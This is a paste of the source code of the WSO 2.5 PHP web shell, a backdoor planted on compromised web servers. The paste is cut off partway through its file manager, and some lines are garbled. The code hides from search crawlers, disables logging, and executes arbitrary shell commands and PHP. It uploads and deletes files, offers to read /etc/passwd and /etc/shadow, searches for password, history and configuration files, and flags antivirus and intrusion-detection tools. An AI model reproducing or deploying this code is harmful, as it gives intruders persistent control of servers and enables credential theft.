· 10 years ago · Apr 16, 2016, 12:18 AM
1<?php if (!empty($_SERVER['HTTP_USER_AGENT'])) {
2 $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
3 if (preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
4 header('HTTP/1.0 404 Not Found');
5 exit;
6 }
7}
8@ini_set('error_log', NULL);
9@ini_set('log_errors', 0);
10@ini_set('max_execution_time', 0);
11@set_time_limit(0);
12@set_magic_quotes_runtime(0);
13@define('WSO_VERSION', '2.5');
14if (get_magic_quotes_gpc()) {
15 function WSOstripslashes($array) {
16 return is_array($array) ? array_map('WSOstripslashes', $array) : stripslashes($array);
17 }
18 $_POST = WSOstripslashes($_POST);
19 $_COOKIE = WSOstripslashes($_COOKIE);
20}
21function wsoLogin() {
22 die("<pre align=center><form method=post>Password: <input type=password name=pass><input type=submit value='>>'></form></pre>");
23}
24function WSOsetcookie($k, $v) {
25 $_COOKIE[$k] = $v;
26 setcookie($k, $v);
27}
28if (!empty($auth_pass)) {
29 if (isset($_POST['pass']) && (md5($_POST['pass']) == $auth_pass)) WSOsetcookie(md5($_SERVER['HTTP_HOST']), $auth_pass);
30 if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST']) ]) || ($_COOKIE[md5($_SERVER['HTTP_HOST']) ] != $auth_pass)) wsoLogin();
31}
32if (strtolower(substr(PHP_OS, 0, 3)) == "win") $os = 'win';
33else $os = 'nix';
34$safe_mode = @ini_get('safe_mode');
35if (!$safe_mode) error_reporting(0);
36$disable_functions = @ini_get('disable_functions');
37$home_cwd = @getcwd();
38if (isset($_POST['c'])) @chdir($_POST['c']);
39$cwd = @getcwd();
40if ($os == 'win') {
41 $home_cwd = str_replace("\", " / ", $home_cwd); $cwd = str_replace("\", " / ", $cwd); } if($cwd[strlen($cwd) - 1] != '/') $cwd .= '/'; if(!isset($_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'])) $_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] = (bool)$default_use_ajax; if($os == 'win') $aliases = array( "ListDirectory" => "dir", "Findindex . phpincurrentdir" => "dir / s / w / bindex . php", "Find * config * . phpincurrentdir" => "dir / s / w / b * config * . php", "Showactiveconnections" => "netstat - an", "Showrunningservices" => "netstart", "Useraccounts" => "netuser", "Showcomputers" => "netview", "ARPTable" => "arp - a", "IPConfiguration" => "ipconfig / all" ); else $aliases = array( "Listdir" => "ls - lha", "listfileattributesonaLinuxsecondextendedfilesystem" => "lsattr - va", "showopenedports" => "netstat - an | grep - ilisten", "processstatus" => "psaux", "Find" => "", "findallsuidfiles" => "find / -typef - perm - 04000 - ls", "findsuidfilesincurrentdir" => "find . -typef - perm - 04000 - ls", "findallsgidfiles" => "find / -typef - perm - 02000 - ls", "findsgidfilesincurrentdir" => "find . -typef - perm - 02000 - ls", "findconfig . inc . phpfiles" => "find / -typef - nameconfig . inc . php", "findconfig * files" => "find / -typef - name\"config*\"", "find config* files in current dir" => "find . -type f -name \"config*\"", "find all writable folders and files" => "find / -perm -2 -ls", "find all writable folders and files in current dir" => "find . -perm -2 -ls", "find all service.pwd files" => "find / -type f -name service.pwd", "find service.pwd files in current dir" => "find . -type f -name service.pwd", "find all .htpasswd files" => "find / -type f -name .htpasswd", "find .htpasswd files in current dir" => "find . -type f -name .htpasswd", "find all .bash_history files" => "find / -type f -name .bash_history", "find .bash_history files in current dir" => "find . -type f -name .bash_history", "find all .fetchmailrc files" => "find / -type f -name .fetchmailrc", "find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc", "Locate" => "", "locate httpd.conf files" => "locate httpd.conf", "locate vhosts.conf files" => "locate vhosts.conf", "locate proftpd.conf files" => "locate proftpd.conf", "locate psybnc.conf files" => "locate psybnc.conf", "locate my.conf files" => "locate my.conf", "locate admin.php files" => "locate admin.php", "locate cfg.php files" => "locate cfg.php", "locate conf.php files" => "locate conf.php", "locate config.dat files" => "locate config.dat", "locate config.php files" => "locate config.php", "locate config.inc files" => "locate config.inc", "locate config.inc.php" => "locate config.inc.php", "locate config.default.php files" => "locate config.default.php", "locate config* files " => "locate config", "locate .conf files" => "locate '.conf'", "locate .pwd files" => "locate '.pwd'", "locate .sql files" => "locate '.sql'", "locate .htpasswd files" => "locate '.htpasswd'", "locate .bash_history files" => "locate '.bash_history'", "locate .mysql_history files" => "locate '.mysql_history'", "locate .fetchmailrc files" => "locate '.fetchmailrc'", "locate backup files" => "locate backup", "locate dump files" => "locate dump", "locate priv files" => "locate priv");
42 function wsoHeader() {
43 if (empty($_POST['charset'])) $_POST['charset'] = $GLOBALS['default_charset'];
44 global $color;
45 echo "<html><head><meta http-equiv='Content-Type' content='text/html; charset=" . $_POST['charset'] . "'><title>" . $_SERVER['HTTP_HOST'] . " - WSO " . WSO_VERSION . "</title>
46<style>
47body{background-color:#444;color:#e1e1e1;}
48body,td,th{ font: 9pt Lucida,Verdana;margin:0;vertical-align:top;color:#e1e1e1; }
49table.info{ color:#fff;background-color:#222; }
50span,h1,a{ color: $color !important; }
51span{ font-weight: bolder; }
52h1{ border-left:5px solid $color;padding: 2px 5px;font: 14pt Verdana;background-color:#222;margin:0px; }
53div.content{ padding: 5px;margin-left:5px;background-color:#333; }
54a{ text-decoration:none; }
55a:hover{ text-decoration:underline; }
56.ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; }
57.bigarea{ width:100%;height:300px; }
58input,textarea,select{ margin:0;color:#fff;background-color:#555;border:1px solid $color; font: 9pt Monospace,'Courier New'; }
59form{ margin:0px; }
60#toolsTbl{ text-align:center; }
61.toolsInp{ width: 300px }
62.main th{text-align:left;background-color:#5e5e5e;}
63.main tr:hover{background-color:#5e5e5e}
64.l1{background-color:#444}
65.l2{background-color:#333}
66pre{font-family:Courier,Monospace;}
67</style>
68<script>
69 var c_ = '" . htmlspecialchars($GLOBALS['cwd']) . "';
70 var a_ = '" . htmlspecialchars(@$_POST['a']) . "'
71 var charset_ = '" . htmlspecialchars(@$_POST['charset']) . "';
72 var p1_ = '" . ((strpos(@$_POST['p1'], "
73") !== false) ? '' : htmlspecialchars($_POST['p1'], ENT_QUOTES)) . "';
74 var p2_ = '" . ((strpos(@$_POST['p2'], "
75") !== false) ? '' : htmlspecialchars($_POST['p2'], ENT_QUOTES)) . "';
76 var p3_ = '" . ((strpos(@$_POST['p3'], "
77") !== false) ? '' : htmlspecialchars($_POST['p3'], ENT_QUOTES)) . "';
78 var d = document;
79 function set(a,c,p1,p2,p3,charset) {
80 if(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;
81 if(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;
82 if(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_;
83 if(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_;
84 if(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_;
85 if(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;
86 }
87 function g(a,c,p1,p2,p3,charset) {
88 set(a,c,p1,p2,p3,charset);
89 d.mf.submit();
90 }
91 function a(a,c,p1,p2,p3,charset) {
92 set(a,c,p1,p2,p3,charset);
93 var params = 'ajax=true';
94 for(i=0;i<d.mf.elements.length;i++)
95 params += '&'+d.mf.elements[i].name+'='+encodeURIComponent(d.mf.elements[i].value);
96 sr('" . addslashes($_SERVER['REQUEST_URI']) . "', params);
97 }
98 function sr(url, params) {
99 if (window.XMLHttpRequest)
100 req = new XMLHttpRequest();
101 else if (window.ActiveXObject)
102 req = new ActiveXObject('Microsoft.XMLHTTP');
103 if (req) {
104 req.onreadystatechange = processReqChange;
105 req.open('POST', url, true);
106 req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded');
107 req.send(params);
108 }
109 }
110 function processReqChange() {
111 if( (req.readyState == 4) )
112 if(req.status == 200) {
113 var reg = new RegExp(\"(\d+)([\S\s]*)\", 'm');
114 var arr=reg.exec(req.responseText);
115 eval(arr[2].substr(0, arr[1]));
116 } else alert('Request error!');
117 }
118</script>
119<head><body><div style='position:absolute;width:100%;background-color:#444;top:0;left:0;'>
120<form method=post name=mf style='display:none;'>
121<input type=hidden name=a>
122<input type=hidden name=c>
123<input type=hidden name=p1>
124<input type=hidden name=p2>
125<input type=hidden name=p3>
126<input type=hidden name=charset>
127</form>";
128 $freeSpace = @diskfreespace($GLOBALS['cwd']);
129 $totalSpace = @disk_total_space($GLOBALS['cwd']);
130 $totalSpace = $totalSpace ? $totalSpace : 1;
131 $release = @php_uname('r');
132 $kernel = @php_uname('s');
133 $explink = 'http://exploit-db.com/search/?action=search&filter_description=';
134 if (strpos('Linux', $kernel) !== false) $explink.= urlencode('Linux Kernel ' . substr($release, 0, 6));
135 else $explink.= urlencode($kernel . ' ' . substr($release, 0, 3));
136 if (!function_exists('posix_getegid')) {
137 $user = @get_current_user();
138 $uid = @getmyuid();
139 $gid = @getmygid();
140 $group = "?";
141 } else {
142 $uid = @posix_getpwuid(posix_geteuid());
143 $gid = @posix_getgrgid(posix_getegid());
144 $user = $uid['name'];
145 $uid = $uid['uid'];
146 $group = $gid['name'];
147 $gid = $gid['gid'];
148 }
149 $cwd_links = '';
150 $path = explode("/", $GLOBALS['cwd']);
151 $n = count($path);
152 for ($i = 0;$i < $n - 1;$i++) {
153 $cwd_links.= "<a href='#' onclick='g(\"FilesMan\",\"";
154 for ($j = 0;$j <= $i;$j++) $cwd_links.= $path[$j] . '/';
155 $cwd_links.= "\")'>" . $path[$i] . "/</a>";
156 }
157 $charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866');
158 $opt_charsets = '';
159 foreach ($charsets as $item) $opt_charsets.= '<option value="' . $item . '" ' . ($_POST['charset'] == $item ? 'selected' : '') . '>' . $item . '</option>';
160 $m = array('Sec. Info' => 'SecInfo', 'Files' => 'FilesMan', 'Console' => 'Console', 'Sql' => 'Sql', 'Php' => 'Php', 'String tools' => 'StringTools', 'Bruteforce' => 'Bruteforce', 'Network' => 'Network');
161 if (!empty($GLOBALS['auth_pass'])) $m['Logout'] = 'Logout';
162 $m['Self remove'] = 'SelfRemove';
163 $menu = '';
164 foreach ($m as $k => $v) $menu.= '<th width="' . (int)(100 / count($m)) . '%">[ <a href="#" onclick="g(\'' . $v . '\',null,\'\',\'\',\'\')">' . $k . '</a> ]</th>';
165 $drives = "";
166 if ($GLOBALS['os'] == 'win') {
167 foreach (range('c', 'z') as $drive) if (is_dir($drive . ':\')) $drives .= ' < ahref = "#"onclick = "g(\'FilesMan\',\''.$drive.':/\')" > ['.$drive.'] < / a > '; } echo ' < tableclass = infocellpadding = 3cellspacing = 0width = 100 % > < tr > < tdwidth = 1 > < span > Uname: < br > User: < br > Php: < br > Hdd: < br > Cwd:
168 ' . ($GLOBALS['os'] == 'win'?' < br > Drives:
169 ':'') . ' < / span > < / td > ' . ' < td > < nobr > ' . substr(@php_uname(), 0, 120) . ' < ahref = "' . $explink . '"target = _blank > [exploit - db . com] < / a > < / nobr > < br > ' . $uid . '(' . $user . ') < span > Group: < / span > ' . $gid . '(' . $group . ') < br > ' . @phpversion() . ' < span > Safemode: < / span > ' . ($GLOBALS['safe_mode']?' < fontcolor = red > ON < / font > ':' < fontcolor = green > < b > OFF < / b > < / font > ') . ' < ahref = # onclick="g(\'Php\',null,\'\',\'info\')">[ phpinfo ]</a> <span>Datetime:</span> ' . date('Y-m-d H:i:s') . '<br>' . wsoViewSize($totalSpace) . ' <span>Free:</span> ' . wsoViewSize($freeSpace) . ' ('. (int) ($freeSpace/$totalSpace*100) . '%)<br>' . $cwd_links . ' '. wsoPermsColor($GLOBALS['cwd']) . ' <a href=# onclick="g(\'FilesMan\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ home ]</a><br>' . $drives . '</td>' . '<td width=1 align=right><nobr><select onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset">' . $opt_charsets . '</optgroup></select><br><span>Server IP:</span><br>' . @$_SERVER["SERVER_ADDR"] . '<br><span>Client IP:</span><br>' . $_SERVER['REMOTE_ADDR'] . '</nobr></td></tr></table>' . '<table style="border-top:2px solid #333;" cellpadding=3 cellspacing=0 width=100%><tr>' . $menu . '</tr></table><div style="margin:5">'; } function wsoFooter() { $is_writable = is_writable($GLOBALS['cwd'])?" <font color='green'>(Writeable)</font>":" <font color=red>(Not writable)</font>"; echo "
170 < / div > < tableclass = infoid = toolsTblcellpadding = 3cellspacing = 0width = 100 % style = 'border-top:2px solid #333;border-bottom:2px solid #333;' > < tr > < td > < formonsubmit = 'g(null,this.c.value,\"\");return false;' > < span > Changedir: < / span > < br > < inputclass = 'toolsInp'type = textname = cvalue = '" . htmlspecialchars($GLOBALS['cwd']) ."' > < inputtype = submitvalue = '>>' > < / form > < / td > < td > < formonsubmit = \"g('FilesTools',null,this.f.value);return false;\"><span>Read file:</span><br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
171 </tr><tr>
172 <td><form onsubmit=\"g('FilesMan',null,'mkdir',this.d.value);return false;\"><span>Make dir:</span>$is_writable<br><input class='toolsInp' type=text name=d><input type=submit value='>>'></form></td>
173 <td><form onsubmit=\"g('FilesTools',null,this.f.value,'mkfile');return false;\"><span>Make file:</span>$is_writable<br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
174 </tr><tr>
175 <td><form onsubmit=\"g('Console',null,this.c.value);return false;\"><span>Execute:</span><br><input class='toolsInp' type=text name=c value=''><input type=submit value='>>'></form></td>
176 <td><form method='post' ENCTYPE='multipart/form-data'>
177 <input type=hidden name=a value='FilesMAn'>
178 <input type=hidden name=c value='" . $GLOBALS['cwd'] . "'>
179 <input type=hidden name=p1 value='uploadFile'>
180 <input type=hidden name=charset value='" . (isset($_POST['charset']) ? $_POST['charset'] : '') . "'>
181 <span>Upload file:</span>$is_writable<br><input class='toolsInp' type=file name=f><input type=submit value='>>'></form><br ></td>
182 </tr></table></div></body></html>";
183 }
184 if (!function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'], 'posix_getpwuid') === false)) {
185 function posix_getpwuid($p) {
186 return false;
187 }
188 }
189 if (!function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'], 'posix_getgrgid') === false)) {
190 function posix_getgrgid($p) {
191 return false;
192 }
193 }
194 function wsoEx($in) {
195 $out = '';
196 if (function_exists('exec')) {
197 @exec($in, $out);
198 $out = @join("
199", $out);
200 } elseif (function_exists('passthru')) {
201 ob_start();
202 @passthru($in);
203 $out = ob_get_clean();
204 } elseif (function_exists('system')) {
205 ob_start();
206 @system($in);
207 $out = ob_get_clean();
208 } elseif (function_exists('shell_exec')) {
209 $out = shell_exec($in);
210 } elseif (is_resource($f = @popen($in, "r"))) {
211 $out = "";
212 while (!@feof($f)) $out.= fread($f, 1024);
213 pclose($f);
214 }
215 return $out;
216 }
217 function wsoViewSize($s) {
218 if ($s >= 1073741824) return sprintf('%1.2f', $s / 1073741824) . ' GB';
219 elseif ($s >= 1048576) return sprintf('%1.2f', $s / 1048576) . ' MB';
220 elseif ($s >= 1024) return sprintf('%1.2f', $s / 1024) . ' KB';
221 else return $s . ' B';
222 }
223 function wsoPerms($p) {
224 if (($p & 0xC000) == 0xC000) $i = 's';
225 elseif (($p & 0xA000) == 0xA000) $i = 'l';
226 elseif (($p & 0x8000) == 0x8000) $i = '-';
227 elseif (($p & 0x6000) == 0x6000) $i = 'b';
228 elseif (($p & 0x4000) == 0x4000) $i = 'd';
229 elseif (($p & 0x2000) == 0x2000) $i = 'c';
230 elseif (($p & 0x1000) == 0x1000) $i = 'p';
231 else $i = 'u';
232 $i.= (($p & 0x0100) ? 'r' : '-');
233 $i.= (($p & 0x0080) ? 'w' : '-');
234 $i.= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x') : (($p & 0x0800) ? 'S' : '-'));
235 $i.= (($p & 0x0020) ? 'r' : '-');
236 $i.= (($p & 0x0010) ? 'w' : '-');
237 $i.= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x') : (($p & 0x0400) ? 'S' : '-'));
238 $i.= (($p & 0x0004) ? 'r' : '-');
239 $i.= (($p & 0x0002) ? 'w' : '-');
240 $i.= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x') : (($p & 0x0200) ? 'T' : '-'));
241 return $i;
242 }
243 function wsoPermsColor($f) {
244 if (!@is_readable($f)) return '<font color=#FF0000>' . wsoPerms(@fileperms($f)) . '</font>';
245 elseif (!@is_writable($f)) return '<font color=white>' . wsoPerms(@fileperms($f)) . '</font>';
246 else return '<font color=#25ff00>' . wsoPerms(@fileperms($f)) . '</font>';
247 }
248 function wsoScandir($dir) {
249 if (function_exists("scandir")) {
250 return scandir($dir);
251 } else {
252 $dh = opendir($dir);
253 while (false !== ($filename = readdir($dh))) $files[] = $filename;
254 return $files;
255 }
256 }
257 function wsoWhich($p) {
258 $path = wsoEx('which ' . $p);
259 if (!empty($path)) return $path;
260 return false;
261 }
262 function actionSecInfo() {
263 wsoHeader();
264 echo '<h1>Server security information</h1><div class=content>';
265 function wsoSecParam($n, $v) {
266 $v = trim($v);
267 if ($v) {
268 echo '<span>' . $n . ': </span>';
269 if (strpos($v, "
270") === false) echo $v . '<br>';
271 else echo '<pre class=ml1>' . $v . '</pre>';
272 }
273 }
274 wsoSecParam('Server software', @getenv('SERVER_SOFTWARE'));
275 if (function_exists('apache_get_modules')) wsoSecParam('Loaded Apache modules', implode(', ', apache_get_modules()));
276 wsoSecParam('Disabled PHP Functions', $GLOBALS['disable_functions'] ? $GLOBALS['disable_functions'] : 'none');
277 wsoSecParam('Open base dir', @ini_get('open_basedir'));
278 wsoSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
279 wsoSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
280 wsoSecParam('cURL support', function_exists('curl_version') ? 'enabled' : 'no');
281 $temp = array();
282 if (function_exists('mysql_get_client_info')) $temp[] = "MySql (" . mysql_get_client_info() . ")";
283 if (function_exists('mssql_connect')) $temp[] = "MSSQL";
284 if (function_exists('pg_connect')) $temp[] = "PostgreSQL";
285 if (function_exists('oci_connect')) $temp[] = "Oracle";
286 wsoSecParam('Supported databases', implode(', ', $temp));
287 echo '<br>';
288 if ($GLOBALS['os'] == 'nix') {
289 wsoSecParam('Readable /etc/passwd', @is_readable('/etc/passwd') ? "yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>" : 'no');
290 wsoSecParam('Readable /etc/shadow', @is_readable('/etc/shadow') ? "yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"shadow\")'>[view]</a>" : 'no');
291 wsoSecParam('OS version', @file_get_contents('/proc/version'));
292 wsoSecParam('Distr name', @file_get_contents('/etc/issue.net'));
293 if (!$GLOBALS['safe_mode']) {
294 $userful = array('gcc', 'lcc', 'cc', 'ld', 'make', 'php', 'perl', 'python', 'ruby', 'tar', 'gzip', 'bzip', 'bzip2', 'nc', 'locate', 'suidperl');
295 $danger = array('kav', 'nod32', 'bdcored', 'uvscan', 'sav', 'drwebd', 'clamd', 'rkhunter', 'chkrootkit', 'iptables', 'ipfw', 'tripwire', 'shieldcc', 'portsentry', 'snort', 'ossec', 'lidsadm', 'tcplodg', 'sxid', 'logcheck', 'logwatch', 'sysmask', 'zmbscap', 'sawmill', 'wormscan', 'ninja');
296 $downloaders = array('wget', 'fetch', 'lynx', 'links', 'curl', 'get', 'lwp-mirror');
297 echo '<br>';
298 $temp = array();
299 foreach ($userful as $item) if (wsoWhich($item)) $temp[] = $item;
300 wsoSecParam('Userful', implode(', ', $temp));
301 $temp = array();
302 foreach ($danger as $item) if (wsoWhich($item)) $temp[] = $item;
303 wsoSecParam('Danger', implode(', ', $temp));
304 $temp = array();
305 foreach ($downloaders as $item) if (wsoWhich($item)) $temp[] = $item;
306 wsoSecParam('Downloaders', implode(', ', $temp));
307 echo '<br/>';
308 wsoSecParam('HDD space', wsoEx('df -h'));
309 wsoSecParam('Hosts', @file_get_contents('/etc/hosts'));
310 echo '<br/><span>posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\'g(null,null,"5",this.param1.value,this.param2.value);return false;\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value=">>"></form>';
311 if (isset($_POST['p2'], $_POST['p3']) && is_numeric($_POST['p2']) && is_numeric($_POST['p3'])) {
312 $temp = "";
313 for (;$_POST['p2'] <= $_POST['p3'];$_POST['p2']++) {
314 $uid = @posix_getpwuid($_POST['p2']);
315 if ($uid) $temp.= join(':', $uid) . "
316";
317 }
318 echo '<br/>';
319 wsoSecParam('Users', $temp);
320 }
321 }
322 } else {
323 wsoSecParam('OS Version', wsoEx('ver'));
324 wsoSecParam('Account Settings', wsoEx('net accounts'));
325 wsoSecParam('User Accounts', wsoEx('net user'));
326 }
327 echo '</div>';
328 wsoFooter();
329 }
330 function actionPhp() {
331 if (isset($_POST['ajax'])) {
332 WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', true);
333 ob_start();
334 eval($_POST['p1']);
335 $temp = "document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput').innerHTML='" . addcslashes(htmlspecialchars(ob_get_clean()), "
336\'") . "';
337";
338 echo strlen($temp), "
339", $temp;
340 exit;
341 }
342 if (empty($_POST['ajax']) && !empty($_POST['p1'])) WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', 0);
343 wsoHeader();
344 if (isset($_POST['p2']) && ($_POST['p2'] == 'info')) {
345 echo '<h1>PHP info</h1><div class=content><style>.p {color:#000;}</style>';
346 ob_start();
347 phpinfo();
348 $tmp = ob_get_clean();
349 $tmp = preg_replace(array('!(body|a:\w+|body, td, th, h1, h2) {.*}!msiU', '!td, th {(.*)}!msiU', '!<img[^>]+>!msiU',), array('', '.e, .v, .h, .h th {$1}', ''), $tmp);
350 echo str_replace('<h1', '<h2', $tmp) . '</div><br>';
351 }
352 echo '<h1>Execution PHP-code</h1><div class=content><form name=pf method=post onsubmit="if(this.ajax.checked){a(\'Php\',null,this.code.value);}else{g(\'Php\',null,this.code.value,\'\');}return false;"><textarea name=code class=bigarea id=PhpCode>' . (!empty($_POST['p1']) ? htmlspecialchars($_POST['p1']) : '') . '</textarea><input type=submit value=Eval style="margin-top:5px">';
353 echo ' <input type=checkbox name=ajax value=1 ' . ($_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] ? 'checked' : '') . '> send using AJAX</form><pre id=PhpOutput style="' . (empty($_POST['p1']) ? 'display:none;' : '') . 'margin-top:5px;" class=ml1>';
354 if (!empty($_POST['p1'])) {
355 ob_start();
356 eval($_POST['p1']);
357 echo htmlspecialchars(ob_get_clean());
358 }
359 echo '</pre></div>';
360 wsoFooter();
361 }
362 function actionFilesMan() {
363 if (!empty($_COOKIE['f'])) $_COOKIE['f'] = @unserialize($_COOKIE['f']);
364 if (!empty($_POST['p1'])) {
365 switch ($_POST['p1']) {
366 case 'uploadFile':
367 if (!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name'])) echo "Can't upload file!";
368 break;
369 case 'mkdir':
370 if (!@mkdir($_POST['p2'])) echo "Can't create new dir";
371 break;
372 case 'delete':
373 function deleteDir($path) {
374 $path = (substr($path, -1) == '/') ? $path : $path . '/';
375 $dh = opendir($path);
376 while (($item = readdir($dh)) !== false) {
377 $item = $path . $item;
378 if ((basename($item) == "..") || (basename($item) == ".")) continue;
379 $type = filetype($item);
380 if ($type == "dir") deleteDir($item);
381 else @unlink($item);
382 }
383 closedir($dh);
384 @rmdir($path);
385 }
386 if (is_array(@$_POST['f'])) foreach ($_POST['f'] as $f) {
387 if ($f == '..') continue;
388 $f = urldecode($f);
389 if (is_dir($f)) deleteDir($f);
390 else @unlink($f);
391 }
392 break;
393 case 'paste':
394 if ($_COOKIE['act'] == 'copy') {
395 function copy_paste($c, $s, $d) {
396 if (is_dir($c . $s)) {
397 mkdir($d . $s);
398 $h = @opendir($c . $s);
399 while (($f = @readdir($h)) !== false) if (($f != ".") and ($f != "..")) copy_paste($c . $s . '/', $f, $d . $s . '/');
400 } elseif (is_file($c . $s)) @copy($c . $s, $d . $s);
401 }
402 foreach ($_COOKIE['f'] as $f) copy_paste($_COOKIE['c'], $f, $GLOBALS['cwd']);
403 } elseif ($_COOKIE['act'] == 'move') {
404 function move_paste($c, $s, $d) {
405 if (is_dir($c . $s)) {
406 mkdir($d . $s);
407 $h = @opendir($c . $s);
408 while (($f = @readdir($h)) !== false) if (($f != ".") and ($f != "..")) copy_paste($c . $s . '/', $f, $d . $s . '/');
409 } elseif (@is_file($c . $s)) @copy($c . $s, $d . $s);
410 }
411 foreach ($_COOKIE['f'] as $f) @rename($_COOKIE['c'] . $f, $GLOBALS['cwd'] . $f);
412 } elseif ($_COOKIE['act'] == 'zip') {
413 if (class_exists('ZipArchive')) {
414 $zip = new ZipArchive();
415 if ($zip->open($_POST['p2'], 1)) {
416 chdir($_COOKIE['c']);
417 foreach ($_COOKIE['f'] as $f) {
418 if ($f == '..') continue;
419 if (@is_file($_COOKIE['c'] . $f)) $zip->addFile($_COOKIE['c'] . $f, $f);
420 elseif (@is_dir($_COOKIE['c'] . $f)) {
421 $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f . '/'));
422 foreach ($iterator as $key => $value) {
423 $zip->addFile(realpath($key), $key);
424 }
425 }
426 }
427 chdir($GLOBALS['cwd']);
428 $zip->close();
429 }
430 }
431 } elseif ($_COOKIE['act'] == 'unzip') {
432 if (class_exists('ZipArchive')) {
433 $zip = new ZipArchive();
434 foreach ($_COOKIE['f'] as $f) {
435 if ($zip->open($_COOKIE['c'] . $f)) {
436 $zip->extractTo($GLOBALS['cwd']);
437 $zip->close();
438 }
439 }
440 }
441 } elseif ($_COOKIE['act'] == 'tar') {
442 chdir($_COOKIE['c']);
443 $_COOKIE['f'] = array_map('escapeshellarg', $_COOKIE['f']);
444 wsoEx('tar cfzv ' . escapeshellarg($_POST['p2']) . ' ' . implode(' ', $_COOKIE['f']));
445 chdir($GLOBALS['cwd']);
446 }
447 unset($_COOKIE['f']);
448 setcookie('f', '', time() - 3600);
449 break;
450 default:
451 if (!empty($_POST['p1'])) {
452 WSOsetcookie('act', $_POST['p1']);
453 WSOsetcookie('f', serialize(@$_POST['f']));
454 WSOsetcookie('c', @$_POST['c']);
455 }
456 break;
457 }
458 }
459 wsoHeader();
460 echo '<h1>File manager</h1><div class=content><script>p1_=p2_=p3_="";</script>';
461 $dirContent = wsoScandir(isset($_POST['c']) ? $_POST['c'] : $GLOBALS['cwd']);
462 if ($dirContent === false) {
463 echo 'Can\'t open this folder!';
464 wsoFooter();
465 return;
466 }
467 global $sort;
468 $sort = array('name', 1);
469 if (!empty($_POST['p1'])) {
470 if (preg_match('!s_([A-z]+)_(\d{1})!', $_POST['p1'], $match)) $sort = array($match[1], (int)$match[2]);
471 }
472 echo "<script>
473 function sa() {
474 for(i=0;i<d.files.elements.length;i++)
475 if(d.files.elements[i].type == 'checkbox')
476 d.files.elements[i].checked = d.files.elements[0].checked;
477 }
478</script>
479<table width='100%' class='main' cellspacing='0' cellpadding='2'>
480<form name=files method=post><tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_name_" . ($sort[1] ? 0 : 1) . "\")'>Name</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_size_" . ($sort[1] ? 0 : 1) . "\")'>Size</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_modify_" . ($sort[1] ? 0 : 1) . "\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_perms_" . ($sort[1] ? 0 : 1) . "\")'>Permissions</a></th><th>Actions</th></tr>";
481 $dirs = $files = array();
482 $n = count($dirContent);
483 for ($i = 0;$i < $n;$i++) {
484 $ow = @posix_getpwuid(@fileowner($dirContent[$i]));
485 $gr = @posix_getgrgid(@filegroup($dirContent[$i]));
486 $tmp = array('name' => $dirContent[$i], 'path' => $GLOBALS['cwd'] . $dirContent[$i], 'modify' => date('Y-m-d H:i:s', @filemtime($GLOBALS['cwd'] . $dirContent[$i])), 'perms' => wsoPermsColor($GLOBALS['cwd'] . $dirContent[$i]), 'size' => @filesize($GLOBALS['cwd'] . $dirContent[$i]), 'owner' => $ow['name'] ? $ow['name'] : @fileowner($dirContent[$i]), 'group' => $gr['name'] ? $gr['name'] : @filegroup($dirContent[$i]));
487 if (@is_file($GLOBALS['cwd'] . $dirContent[$i])) $files[] = array_merge($tmp, array('type' => 'file'));
488 elseif (@is_link($GLOBALS['cwd'] . $dirContent[$i])) $dirs[] = array_merge($tmp, array('type' => 'link', 'link' => readlink($tmp['path'])));
489 elseif (@is_dir($GLOBALS['cwd'] . $dirContent[$i]) && ($dirContent[$i] != ".")) $dirs[] = array_merge($tmp, array('type' => 'dir'));
490 }
491 $GLOBALS['sort'] = $sort;
492 function wsoCmp($a, $b) {
493 if ($GLOBALS['sort'][0] != 'size') return strcmp(strtolower($a[$GLOBALS['sort'][0]]), strtolower($b[$GLOBALS['sort'][0]])) * ($GLOBALS['sort'][1] ? 1 : -1);
494 else return (($a['size'] < $b['size']) ? -1 : 1) * ($GLOBALS['sort'][1] ? 1 : -1);
495 }
496 usort($files, "wsoCmp");
497 usort($dirs, "wsoCmp");
498 $files = array_merge($dirs, $files);
499 $l = 0;
500 foreach ($files as $f) {
